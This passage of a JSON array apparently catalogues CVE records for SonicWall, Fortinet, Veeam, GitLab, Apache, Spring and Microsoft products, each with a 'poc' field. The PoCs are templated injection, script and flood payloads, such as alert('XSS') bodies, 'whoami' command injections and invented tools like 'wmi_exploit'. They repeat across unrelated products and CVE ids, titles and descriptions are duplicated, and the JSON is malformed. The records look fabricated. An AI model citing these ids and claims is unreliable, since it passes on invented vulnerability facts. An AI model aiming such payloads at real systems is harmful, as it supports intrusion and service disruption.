  },
  {
    "id": "CVE-2023-34187",
    "title": "SonicWall VPN - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall VPN allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26299",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40119",
    "title": "Apache Kafka - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Kafka API flaw causes denial of service via crafted topic requests."
  },
  {
    "id": "CVE-2024-21458",
    "title": "Microsoft Azure Data Factory - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Data Factory via pipeline execution."
  },
  {
    "id": "CVE-2023-28329",
    "title": "Microsoft Visio - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.vsdx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Visio macro vulnerability allows RCE when malicious diagram is opened."
  },
  {
    "id": "CVE-2024-30153",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40646",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22327",
    "title": "Spring Data Redis - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Redis via crafted commands."
  },
  {
    "id": "CVE-2023-28059",
    "title": "FortiGate - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiGate allows RCE."
  },
  {
    "id": "CVE-2024-29913",
    "title": "Veeam ONE - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam ONE allows script execution via report names."
  },
  {
    "id": "CVE-2023-34188",
    "title": "SonicWall Analytics - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Analytics flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26300",
    "title": "Windows WMI - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40120",
    "title": "Apache Flink - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Flink via job submission."
  },
  {
    "id": "CVE-2024-21459",
    "title": "Microsoft Azure Kubernetes - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "kubectl flood --target cluster_ip",
    "description": "Azure Kubernetes flaw causes denial of service via crafted pod requests."
  },
  {
    "id": "CVE-2023-28330",
    "title": "Microsoft Access - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "access.exe --malformed-db crash.accdb",
    "description": "Access flaw causes denial of service via crafted database processing."
  },
  {
    "id": "CVE-2024-30154",
    "title": "Windows ALPC - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40647",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22328",
    "title": "Spring Data Cassandra - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Cassandra via crafted queries."
  },
  {
    "id": "CVE-2023-28060",
    "title": "FortiMail - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiMail allows RCE."
  },
  {
    "id": "CVE-2024-29914",
    "title": "Veeam Backup - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup allows RCE."
  },
  {
    "id": "CVE-2023-34189",
    "title": "SonicWall Firewall - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Firewall allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26301",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40121",
    "title": "Apache Pulsar - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Pulsar allows script execution via function names."
  },
  {
    "id": "CVE-2024-21460",
    "title": "Microsoft Azure API Management - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/management HTTP/1.1\nHost: azure-api-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure API Management flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-28331",
    "title": "Microsoft PowerPoint - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pptx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "PowerPoint macro vulnerability allows RCE when malicious presentation is opened."
  },
  {
    "id": "CVE-2024-30155",
    "title": "Windows WMI - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40648",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22329",
    "title": "Spring Data Neo4j - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"node\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Neo4j allows script execution via node properties."
  },
  {
    "id": "CVE-2023-28061",
    "title": "FortiVoice - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiVoice allows RCE."
  },
  {
    "id": "CVE-2024-29915",
    "title": "Veeam Service Provider Console - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam SPC allows RCE."
  },
  {
    "id": "CVE-2023-34190",
    "title": "SonicWall GMS - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/gms HTTP/1.1\nHost: sonicwall-gms-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall GMS allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26302",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40122",
    "title": "Apache Druid - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Druid allows script execution via SQL queries."
  },
  {
    "id": "CVE-2024-21461",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28332",
    "title": "Microsoft Excel - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "excel.exe --malformed-sheet crash.xlsx",
    "description": "Excel flaw causes denial of service via crafted spreadsheet processing."
  },
  {
    "id": "CVE-2024-30156",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40649",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22330",
    "title": "Spring Data JPA - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data JPA via crafted queries."
  },
  {
    "id": "CVE-2023-28062",
    "title": "FortiWeb - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiWeb allows RCE."
  },
  {
    "id": "CVE-2024-29916",
    "title": "Veeam ONE - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam ONE flaw causes denial of service via crafted reports."
  },
  {
    "id": "CVE-2023-34191",
    "title": "SonicWall VPN - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall VPN flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26303",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40123",
    "title": "Apache Airflow - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Airflow API flaw causes denial of service via crafted DAG requests."
  },
  {
    "id": "CVE-2024-21462",
    "title": "Microsoft Azure Data Factory - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Data Factory allows script execution via pipeline names."
  },
  {
    "id": "CVE-2023-28333",
    "title": "Microsoft Word - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "msword.exe --malformed-doc crash.doc",
    "description": "Word flaw causes denial of service via crafted document processing."
  }
  {
    "id": "CVE-2024-30157",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40124",
    "title": "Apache Kafka - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Kafka via topic configuration."
  },
  {
    "id": "CVE-2024-21463",
    "title": "Microsoft Azure Synapse - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Synapse via pipeline execution."
  },
  {
    "id": "CVE-2023-28334",
    "title": "Microsoft Outlook - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "outlook.exe --malformed-email crash.eml",
    "description": "Outlook flaw causes denial of service via crafted email processing."
  },
  {
    "id": "CVE-2024-22331",
    "title": "Spring Data MongoDB - Denial of Service",
    "date": "2024-03-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Spring Data MongoDB flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-28063",
    "title": "FortiNAC - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortinac-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiNAC allows script execution via config fields."
  },
  {
    "id": "CVE-2024-29917",
    "title": "Veeam Backup Enterprise Manager - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup Enterprise Manager allows RCE."
  },
  {
    "id": "CVE-2023-34192",
    "title": "SonicWall SMA - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/sma HTTP/1.1\nHost: sonicwall-sma-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall SMA allows RCE."
  },
  {
    "id": "CVE-2024-26304",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40125",
    "title": "Apache Druid - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Druid via SQL query execution."
  },
  {
    "id": "CVE-2024-21464",
    "title": "Microsoft Azure Kubernetes - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pods HTTP/1.1\nHost: azure-kubernetes-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Kubernetes allows script execution via pod names."
  },
  {
    "id": "CVE-2023-28335",
    "title": "Microsoft Access - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.accdb\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Access macro vulnerability allows RCE when malicious database is opened."
  },
  {
    "id": "CVE-2024-30158",
    "title": "Windows ALPC - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40650",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22332",
    "title": "Spring Data Elasticsearch - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Elasticsearch allows script execution via search queries."
  },
  {
    "id": "CVE-2023-28064",
    "title": "FortiGate - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiGate flaw causes denial of service via crafted VPN requests."
  },
  {
    "id": "CVE-2024-29918",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34193",
    "title": "SonicWall Firewall - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Firewall allows RCE."
  },
  {
    "id": "CVE-2024-26305",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40126",
    "title": "Apache Pulsar - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Pulsar via function submission."
  },
  {
    "id": "CVE-2024-21465",
    "title": "Microsoft Azure AD - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"profile\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure AD allows script execution via user profiles."
  },
  {
    "id": "CVE-2023-28336",
    "title": "Microsoft Visio - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "visio.exe --malformed-diagram crash.vsdx",
    "description": "Visio flaw causes denial of service via crafted diagram processing."
  },
  {
    "id": "CVE-2024-30159",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40651",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/comments HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project comments."
  },
  {
    "id": "CVE-2024-22333",
    "title": "Spring Data Neo4j - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Neo4j via crafted queries."
  },
  {
    "id": "CVE-2023-28065",
    "title": "FortiWeb - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiWeb flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29919",
    "title": "Veeam Service Provider Console - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam SPC allows script execution via configuration fields."
  },
  {
    "id": "CVE-2023-34194",
    "title": "SonicWall VPN - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall VPN allows RCE."
  },
  {
    "id": "CVE-2024-26306",
    "title": "Windows WMI - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40127",
    "title": "Apache Airflow - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Airflow allows script execution via DAG names."
  },
  {
    "id": "CVE-2024-21466",
    "title": "Microsoft Azure Data Factory - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure Data Factory flaw causes denial of service via crafted pipeline requests."
  },
  {
    "id": "CVE-2023-28337",
    "title": "Microsoft Word - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.docx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Word macro vulnerability allows RCE when malicious document is opened."
  },
  {
    "id": "CVE-2024-30160",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40652",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22334",
    "title": "Spring Data Redis - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"key\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Redis allows script execution via key names."
  },
  {
    "id": "CVE-2023-28066",
    "title": "FortiMail - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiMail allows RCE."
  },
  {
    "id": "CVE-2024-29920",
    "title": "Veeam Backup - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam Backup flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34195",
    "title": "SonicWall Analytics - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Analytics allows script execution via report names."
  },
  {
    "id": "CVE-2024-26307",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40128",
    "title": "Apache Flink - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Flink API flaw causes denial of service via crafted job requests."
  },
  {
    "id": "CVE-2024-21467",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28338",
